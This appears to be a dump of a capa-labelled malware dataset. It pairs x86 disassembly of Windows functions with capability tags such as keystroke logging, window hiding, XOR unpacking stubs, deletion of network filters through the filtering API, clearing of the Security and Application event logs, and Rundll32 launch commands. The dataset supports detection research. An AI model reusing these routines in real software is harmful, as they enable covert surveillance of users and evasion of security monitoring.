joyce8/EMBER2024-capa huggingface dataset:
Function at 0x52fceb
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0x1468
sub esp, 0xc
mov eax, dword [ebp + 8]
and eax, 0xffff
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
and eax, 0xff0000
shr eax, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
and eax, 0x1000000
cmp eax, 0
setne al
xor ah, ah
cwde
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
je 0x52fd48
cmp eax, 0x11
je 0x52fd5e
cmp eax, 0x12
je 0x52fd79
mov eax, 0
jmp 0x52fd92
push 3
push dword [ebp - 0x10]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_MapVirtualKeyW]
mov dword [ebp - 0x14], eax
jmp 0x52fd92
mov eax, dword [ebp - 0x18]
cmp eax, 0
je 0x52fd6f
mov eax, 0xa3
jmp 0x52fd74
mov eax, 0xa2
mov dword [ebp - 0x14], eax
jmp 0x52fd92
mov eax, dword [ebp - 0x18]
cmp eax, 0
je 0x52fd8a
mov eax, 0xa5
jmp 0x52fd8f
mov eax, 0xa4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
leave
ret 8

Function at 0x52fd99
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0x146a
sub esp, 4
mov eax, 0
mov dword [ebp - 0x10], 0
push 0x11
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_GetKeyState]
and eax, 0x8000
cmp eax, 0
je 0x52fdda
mov eax, 0x10000000
mov dword [ebp - 0x10], 0x10000000
push 0x10
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_GetKeyState]
and eax, 0x8000
cmp eax, 0
je 0x52fdff
mov eax, dword [ebp - 0x10]
or eax, 0x20000000
mov dword [ebp - 0x10], eax
push 0x12
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_GetKeyState]
and eax, 0x8000
cmp eax, 0
je 0x52fe24
mov eax, dword [ebp - 0x10]
or eax, 0x40000000
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
xor al, 1
cmp eax, 0
je 0x52fec8
push 1
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_GetKeyState]
and eax, 0x8000
cmp eax, 0
je 0x52fe59
mov eax, dword [ebp - 0x10]
or eax, 0x2000000
mov dword [ebp - 0x10], eax
push 2
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_GetKeyState]
and eax, 0x8000
cmp eax, 0
je 0x52fe7e
mov eax, dword [ebp - 0x10]
or eax, 0x800000
mov dword [ebp - 0x10], eax
push 4
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_GetKeyState]
and eax, 0x8000
cmp eax, 0
je 0x52fea3
mov eax, dword [ebp - 0x10]
or eax, 0x1000000
mov dword [ebp - 0x10], eax
push 5
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_GetKeyState]
and eax, 0x8000
cmp eax, 0
je 0x52fec8
mov eax, dword [ebp - 0x10]
or eax, 0x400000
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
leave
ret 4
Function at 0x538d57
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0x1510
push dword [ebp + 0xc]
push dword [ebp + 8]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_ShowWindow]
mov eax, dword [0x630304]
xor al, 1
cmp eax, 0
je 0x538daa
mov eax, dword [ebp + 0xc]
cmp eax, 5
jne 0x538d99
mov eax, 8
mov dword [ebp + 0xc], 8
push dword [ebp + 0xc]
push 0
push 0
push 0
push dword [ebp + 8]
call fcn.00536920
leave
ret 8
Function at 0x54112d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0x15b7
sub esp, 0xd0
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
and eax, 0xff
cmp eax, 0x25
jne 0x54117e
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 8]
push eax
fild dword [esp]
add esp, 4
fstp dword [ebp - 0xa0]
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 0xc]
push eax
fild dword [esp]
add esp, 4
fstp dword [ebp - 0xa4]
jmp 0x5411a2
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
fld dword [eax + 4]
fstp dword [ebp - 0xa0]
mov eax, dword [ebp - 0x28]
fld dword [eax + 8]
fstp dword [ebp - 0xa4]
mov eax, dword [ebp + 0x14]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 8]
push eax
fild dword [esp]
add esp, 4
fstp dword [ebp - 0xa8]
mov eax, dword [ebp - 0x10]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 8]
push eax
fild dword [esp]
add esp, 4
fstp dword [ebp - 0xac]
mov eax, 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb8], 0
push 0x3f800000
fld dword [esp]
add esp, 4
fstp dword [ebp - 0xc0]
jmp 0x541345
Function at 0x545fe2
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0x1645
sub esp, 0x10
push dword [ebp + 8]
call fcn.0054417e
mov dword [ebp - 0x18], eax
mov eax, 0
mov edx, dword [ebp - 0x18]
cmp eax, edx
jne 0x54600d
jmp 0x546112
mov eax, dword [ebp + 0xc]
cmp eax, 0xffffffff
jne 0x54602f
push 0
push dword [ebp + 0xc]
push 0xe
push dword [ebp - 0x18]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_SendMessageW]
jmp 0x546048
push 0
push dword [ebp + 0xc]
push 0x149
push dword [ebp - 0x18]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_SendMessageW]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0
jl 0x546112
push dword [ebp + 8]
call fcn.00458375
add eax, 0x30
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
and eax, 0xff
cmp eax, 7
je 0x546087
push 2
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call fcn.004496d5
mov eax, dword [ebp - 0x1c]
cmp eax, 0
jne 0x54609e
push dword [ebp - 0x10]
call fcn.00447aa1
jmp 0x546112
mov eax, dword [ebp - 0x1c]
inc eax
shl eax, 2
push eax
push dword [ebp - 0x10]
call fcn.00433668
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
cmp eax, 0xffffffff
jne 0x5460d6
push dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
inc eax
push eax
push 0xd
push dword [ebp - 0x18]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_SendMessageW]
jmp 0x5460f0
push dword [ebp - 0x14]
push dword [ebp + 0xc]
push 0x148
push dword [ebp - 0x18]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_SendMessageW]
xor eax, eax
inc eax
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push 0
call fcn.00432d7b
push dword [0x62f9ec]
push dword [ebp + 8]
push dword [ebp - 0x10]
call fcn.0043a63b
leave
ret 8
Function at 0x546116
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0x1647
sub esp, 0x10
mov eax, dword [ebp + 0xc]
cmp eax, 0xffffffff
jne 0x54614a
push 0
push dword [ebp + 0xc]
push 0xe
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_SendMessageW]
jmp 0x546166
push 0
push dword [ebp + 0xc]
push 0x149
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_SendMessageW]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0
jl 0x546259
push 3
push dword [ebp + 8]
call fcn.00543fcd
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
and eax, 0xff
cmp eax, 7
je 0x5461a2
push 2
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.004496d5
mov eax, dword [ebp - 0x10]
cmp eax, 0
jne 0x5461b9
push dword [ebp - 0x14]
call fcn.00447aa1
jmp 0x546259
mov eax, dword [ebp - 0x10]
inc eax
shl eax, 2
push eax
push dword [ebp - 0x14]
call fcn.00433668
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
cmp eax, 0xffffffff
jne 0x5461f4
push dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
inc eax
push eax
push 0xd
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_SendMessageW]
jmp 0x546211
push dword [ebp - 0x1c]
push dword [ebp + 0xc]
push 0x148
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_SendMessageW]
xor eax, eax
inc eax
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push 0
call fcn.00432d7b
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call fcn.0052ed41
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
and eax, 0xff
cmp eax, 0x20
jne 0x546252
push dword [0x62f9ec]
push dword [ebp - 0x18]
push dword [ebp - 0x14]
call fcn.0043a63b
push 1
call fcn.0048e934
leave
ret 8

Function at 0x546a35
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0x165d
sub esp, 4
mov eax, dword [0x6301c4]
cmp eax, 0
je 0x546a5c
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_ReleaseCapture]
call fcn.005437fa
push 0xa
push dword [ebp + 8]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_ShowWindow]
push dword [ebp + 8]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_UpdateWindow]
mov eax, dword [0x630304]
xor al, 1
cmp eax, 0
je 0x546a9f
push 0xffffffffffffffff
push 0
push 0
push 0
push dword [ebp + 8]
call fcn.00536920
push dword [ebp + 8]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_SetForegroundWindow]
push dword [ebp + 8]
call fcn.00545e18
leave
ret 4
Function at 0x548c5e
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0x1671
sub esp, 4
mov eax, dword [ebp + 0x14]
mov edx, dword [0x62f6dc]
cmp eax, edx
jne 0x548ca6
mov eax, dword [0x6302f8]
sub eax, 0xc
push eax
push dword [ebp + 8]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_GetWindowLongW]
mov edx, eax
mov eax, 2
and eax, edx
cmp eax, 0
je 0x548ca6
jmp 0x548caa
xor eax, eax
jmp 0x548cad
xor eax, eax
inc eax
cmp eax, 0
je 0x548cd7
mov eax, dword [ebp + 0x10]
cmp eax, 0
je 0x548ccb
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00544c9b
jmp 0x548cd7
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_DestroyCaret]
mov eax, dword [ebp + 0x10]
cmp eax, 0
je 0x548cfc
mov eax, dword [ebp + 0x14]
mov edx, dword [0x62f6dc]
cmp eax, edx
jne 0x548cf5
mov eax, 8
jmp 0x548cfa
mov eax, 5
jmp 0x548d01
mov eax, 0
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
push dword [ebp + 8]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_ShowWindow]
mov eax, dword [0x630304]
xor al, 1
cmp eax, 0
je 0x548d34
push 0xffffffffffffffff
push 0
push 0
push 0
push dword [ebp + 8]
call fcn.00536920
mov eax, dword [ebp + 0x14]
mov edx, dword [0x62f708]
cmp eax, edx
jne 0x548d70
mov eax, dword [0x6302f8]
sub eax, 4
push eax
push dword [ebp + 8]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_GetWindowLongW]
mov dword [ebp + 8], eax
push dword [ebp - 0x10]
push dword [ebp + 8]
mov dword [section..data], ebp
call dword [sym.imp.USER32.DLL_ShowWindow]
mov eax, dword [ebp + 0x14]
mov edx, dword [0x62f6f8]
cmp eax, edx
jne 0x548d87
push 9
push dword [ebp + 8]
call fcn.00538e25
leave
ret 0x10
Function at 0x407281
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461124], 0
jne 0x4072bf
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x407295
mov dword [ecx*4 + 0x461120], eax
inc ecx
cmp ecx, 0x100
jl 0x407290
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x4072ec
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461120]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4072cd
not eax
pop ebp
ret 0xc

Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret
Function at 0x10004c20
Capabilities:
Encode data using xor

Disassembly:
sub edx, dword [ecx + 0x282ae2c4]
out dx, eax
mov cl, 0xa2
xchg byte [ebp + 0x2b], cl
pop ecx
movsb byte es:[edi], byte [esi]
insb byte es:[edi], dx
xor al, 0xec
stosd dword es:[edi], eax
cdq
lea ebp, [edi - 0x5bfee6be]
xchg esi, eax
lodsd eax, dword [esi]
in al, 0x3f
loope 0x10004c2d
adc byte [ebx], dh
insd dword es:[edi], dx
invalid
push ecx
mov eax, dword [0xed22117f]
xor al, 0xff
xor eax, 0xa7c3ff91
and cl, bh
add dh, byte [edx - 0xb]
fldenv [ecx - 0x7488af4b]
xchg esi, eax
xor byte [ecx + 0x61], ch
mov ebx, 0x10b94cf6
dec esp
mov ecx, 0x8fc14010
test dword [esi*8 - 0x21c8fce5], ecx
push ebp
xchg edi, esi
jle 0x10004bc7
dec esp
mov ecx, 0x8fc14010
test dword [esi*8 - 0x21c8fce5], ecx
push ebp
xchg edi, esi
jle 0x10004bc7
imul dword [eax]
and eax, 0xd2cd41c1
pushfd
cmpsb byte [esi], byte es:[edi]
or eax, 0x457bb91e
jg 0x10004c02
xor eax, 0x769ac773
mov esi, 0x71cd862c
mov ecx, 0x7d51d053
out 5, eax
dec ebp
jnp 0x10004cb2
dec esp
or esi, 0x74a6457d
push es
adc eax, 0x354c3abb
hlt
push ss
mov al, byte [0xeb6b9e5c]
mov dl, 0x3c
xchg edx, eax
add dl, byte [eax + 0x420dc2e4]
adc byte [ebx], dl
jbe 0x10004d38
jno 0x10004d1f
push es
and ah, bl
fdivrp st(7)
sbb dword [esi], 0xc54cdb79
nop
pop esp
pop ds
push edx
loopne 0x10004cd9
cld
invalid
push 0x20fd9979
invalid
push ebp
dec eax
retf 0xabf1

Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..reloc
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x432072
nop
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3c3c0316
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..rdata
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x7632906
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Packed with generic packer

Disassembly:
mov eax, 0x8562a0
push eax
push dword fs:[0]
bound eax, qword [ebp - 0x9bb000]
xor eax, 0
mov dword fs:[0], esp
xor eax, eax
mov dword [eax], ecx
push eax
inc ebp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x401080
arpl word [edx + esi], si
adc ebx, dword [edi - 0x54]
xchg ebx, eax
neg dl
push cs
dec ecx
mov eax, 0x7fb97088
add ah, ah
aam 0xeb
jp 0x40109d
mov byte [eax - 0x47], dh
jg 0x401033
in al, 0xd4
jmp 0x4010af
test eax, 0xcf33638c
adc ch, bl
js 0x400fd0
sbb ch, ah
daa
stosd dword es:[edi], eax
mov dword [0x540fb128], eax
xchg edi, eax
inc ecx
and dword [esi + esi*8 - 0x78], ebp
rcr byte [eax - 0x2e], 0xa4
sti
push ss
scasd eax, dword es:[edi]
jne 0x40108b
jl 0x40102c
salc
pushal
jbe 0x401085
daa
xchg esp, eax
lcall 0xa4e8, 0x1020bb2d
push eax
in eax, dx
xor bl, ah
sti
bnd jg 0x401002
popal
lea ebp, [edx - 0x70bb56c6]
push ds
pop ss
cmp dword [eax + ebx*8 + 0x46], eax
and byte [eax - 0x702274c0], al
pop eax
test al, 0xc5
fisttp qword [edi + 0x3dc5a858]
lahf
mov ah, 0xc2
sub ecx, dword [0x6e1df55c]
cmp eax, 0x2bc2b49f
or eax, 0x6e1df55c
pop esp
cmc
sbb eax, 0x97530b6e
or edx, dword [ebx - 0x69]
in al, 0x34
sub dword [ebx], esp
jge 0x401055
ja 0x4010fe
fld xword [esi - 7]
or al, 0xb7
dec edx
mov ch, 0xfc
outsd dx, dword [esi]
jns 0x4010cd
fcom qword [eax - 0x69d98623]
retf 0x41f8
and ecx, eax
hlt
int1
push 0xffffffffffffffc2
cmp dh, byte [edx + 0xc64b3b4]
inc edx
stosd dword es:[edi], eax
adc eax, 0xa48720e9
jl 0x40108d
hlt
push 0xffffffffffffff9c
pushfd
retf
Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x20cf16d4
nop
nop
nop
nop
test eax, eax
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x6ccf1f7b
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x100010d0
Capabilities:
Delete network filter via wfp api
Enumerate network filters via wfp api

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44
push ebx
push esi
push edi
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push 0
push 0
push 0xa
push 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
call dword [sym.imp.fwpuclnt.dll_FwpmEngineOpen0]
mov ebx, eax
test ebx, ebx
jne 0x10001236
mov dword [esp + 0x1c], eax
lea ecx, [ecx]
mov esi, dword [eax + 0x10002080]
mov eax, dword [0x1000300c]
mov edi, dword [esp + 0xc]
test eax, eax
jne 0x10001153
push str.RtlZeroMemory
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1000300c], eax
test eax, eax
je 0x1000115c
push 0x30
lea ecx, [esp + 0x24]
push ecx
call eax
movdqu xmm0, xmmword [esi]
lea eax, [esp + 0x18]
mov dword [esp + 0x20], 0
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x38], 1
push eax
push edi
movdqu xmmword [esp + 0x30], xmm0
mov dword [esp + 0x44], 2
mov dword [esp + 0x54], 0xffffffff
call dword [sym.imp.fwpuclnt.dll_FwpmFilterCreateEnumHandle0]
mov ebx, eax
test ebx, ebx
jne 0x10001236
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
push 0xffffffffffffffff
push dword [esp + 0x24]
push dword [esp + 0x1c]
call dword [sym.imp.fwpuclnt.dll_FwpmFilterEnum0]
mov ebx, eax
test ebx, ebx
jne 0x10001214
mov edi, dword [esp + 0x10]
test edi, edi
je 0x10001214
mov edx, dword [esp + 0x14]
test edx, edx
je 0x10001214
xor esi, esi
test edx, edx
je 0x10001209
mov eax, dword [edi + esi*4]
mov ecx, dword [eax + 0x1c]
test ecx, ecx
je 0x100011e6
cmp dword [ecx], 0
jne 0x10001204
push dword [eax + 0x8c]
push dword [eax + 0x88]
push dword [esp + 0x14]
call dword [sym.imp.fwpuclnt.dll_FwpmFilterDeleteById0]
mov edx, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
inc esi
cmp esi, edx
jb 0x100011d7
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.fwpuclnt.dll_FwpmFreeMemory0]
push dword [esp + 0x18]
push dword [esp + 0x10]
call dword [sym.imp.fwpuclnt.dll_FwpmFilterDestroyEnumHandle0]
mov eax, dword [esp + 0x1c]
add eax, 4
mov dword [esp + 0x1c], eax
cmp eax, 8
jb 0x10001120
mov eax, dword [esp + 0xc]
test eax, eax
je 0x10001245
push eax
call dword [sym.imp.fwpuclnt.dll_FwpmEngineClose0]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000197f
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x1000199e
mov dl, byte [ecx + eax]
xor dl, 0x19
add dl, 0x7a
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esp + 8]
jl 0x1000198b
ret
Function at 0x100023fa
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_printf]
push edi
push str.LoadFromMemory__r_n
call esi
push dword [ebp + 8]
call fcn.1000389d
mov edi, eax
pop ecx
test edi, edi
pop ecx
jne 0x10002429
push str.Cant_load_library_from_memory._n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x10002448
push str.PluginMe
push edi
call fcn.10003cd2
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call eax
push edi
call fcn.10003d5d
add esp, 0x18
push str.LoadFromMemory_END____r_n
call esi
cmp dword [ebp + 8], 0
pop ecx
pop edi
pop esi
je 0x10002468
push 0x8000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 1
pop eax
pop ebp
ret

Function at 0x1000265e
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], 0x10006214
je 0x100026ab
dec eax
je 0x100026a0
dec eax
je 0x10002693
dec eax
jne 0x100026dd
mov eax, 0x10006e5c
mov dword [ebp - 8], eax
jmp 0x1000269b
mov eax, 0x10006e5c
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
jmp 0x100026ab
mov eax, 0x10006e5c
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 3
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x100026d4
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x100026b4
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000273d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push 0x104
push eax
push dword [0x10006e60]
call dword [0x10006e8c]
cmp dword [ebp + 8], 0
je 0x10002785
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push str.Rundll32___s__DllUpdate__s
push eax
call dword [0x10006eec]
add esp, 0x10
jmp 0x100027a1
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push str.Rundll32___s__Uninstall
push eax
call dword [0x10006eec]
add esp, 0xc
lea eax, [ebp - 0x208]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [0x10006f94], 1
leave
ret
Function at 0x100029b6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x170
lea eax, [ebp - 0x2d8]
push esi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x1cc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10002a32
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffe90
add esi, 0x170
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10002a39
xor eax, eax
jmp 0x10002abf
push edi
call dword [0x10006e9c]
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10002a76
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x10006eec]
add esp, 0x10
jmp 0x10002a8a
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d4]
sub eax, ebx
je 0x10002aac
dec eax
je 0x10002aa9
dec eax
dec eax
jne 0x10002abc
lea eax, [ebp - 0x168]
push eax
call fcn.1000273d
jmp 0x10002abb
push ebx
jmp 0x10002aae
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.100027bc
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret